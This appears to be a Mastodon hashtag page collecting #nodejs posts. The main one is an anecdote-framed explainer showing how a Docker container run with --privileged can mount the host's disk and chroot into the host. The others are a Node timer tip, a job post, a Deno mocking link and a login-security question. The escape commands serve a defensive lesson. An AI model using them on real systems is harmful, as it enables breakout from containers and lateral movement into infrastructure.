sigmoid.social is one of the many independent Mastodon servers you can use to participate in the fediverse.
A social space for people researching, working with, or just interested in AI!

Server stats:

596
active users

#nodejs

8 posts6 participants0 posts today

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!

ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.

Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?

Here's why (one, simple example): 

Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference. 

1) Start two containers.

docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu

2) Inspect /dev in the unprivileged container.

docker exec -it ubuntu-unprivileged bash
ls /dev
exit

You'll only see a limited set of devices. No disk access. 

3) Now inspect /dev in the privileged container.

docker exec -it ubuntu-privileged bash
ls /dev

/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.

4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.

mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever

5) You can now enumerate - and access - the Docker host's logical volume.

ls -la /tmp/whatever

6) If you wish, you can even chroot into the host:

chroot /tmp/whatever /bin/bash

The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.

Usually the grumpy guy means well. He just doesn't know how to explain it properly.

#til I don't need to import the delay module or write little helpers every time I want to wait a bit in a #nodejs test.

```
import {setTimeout} from 'node:timers/promises'; await setTimeout(1000);
```

So much cleaner!

Is your company looking for a keen self-hoster with plenty of #Linux experience? I grew up with #RaspberryPi and have picked up many skills along the way including #React, backend JavaScript (#NodeJS) and #Docker. My current obsession is monitoring all the things with #Grafana, #PRTG and #Prometheus. I’m based in the UK but open to primarily English-speaking roles in Germany, too. Currently wrapping up my Advanced Software Development degree but eager to continue learning! Boosts appreciated :D

HowNot2 mock in Deno

Mocking functions in deno is very limited, compared to NodeJS. Maybe, it's so bad that it's actually great. As your resident ruby-hater-in-chief, I'm here to tell you that code "magically working" comes at great cost. Today we're going to learn about why modern javascript broke mocking, and why Deno refused to create magic to pretend otherwise.

terminal.space/tech/hownot2-mo

Any good resources out there on building secure (but easy for someone who’s messing with javascript/typescript for the 1st time) login systems with nodejs and postgresql?

I think I’ve seen someone on fedi mention that bcrypt wasn’t really safe a while ago?